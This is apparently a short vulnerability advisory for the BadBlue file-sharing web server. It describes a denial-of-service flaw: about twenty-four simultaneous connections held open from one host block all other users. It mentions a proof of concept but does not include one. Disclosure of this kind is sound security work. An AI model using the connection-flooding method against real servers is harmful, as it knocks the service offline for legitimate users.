Description:
Share photos, videos, music, and business files with friends
and colleagues instantly. Tired of paying a service to share
your files (and the hassle of sending your files to their
site) BadBlue shares files directly from your own PC, using
the cable /DSL/broadband/dialup connection you already paid
for! BadBlue lets you run a no-hassle Web site on your own
PC for free, including a domain name you can choose. Within
seconds, you can transform your PC into a friendly, file
sharing Web server with all the power of a real server on the
Internet. Remote users can search for files, explore your
shared folders, and run full-blown applications created in
HTML, PHP, Perl, and so on.

Denial of Service:
BadBlue Webserver cannot handle multiple connections from the
same host, and will deny all acess to any users at right around
twenty four simultaneous connections.I have included a proof of
concept that floods the target server with a number of connections,
and then basically keeps those connections up for as long as you
specify, thus blocking all other traffic to the affected server.

Solution:
The development team has been contacted and said they will be
looking into this issue shortly. Users are advised to upgrade
as soon as possible.
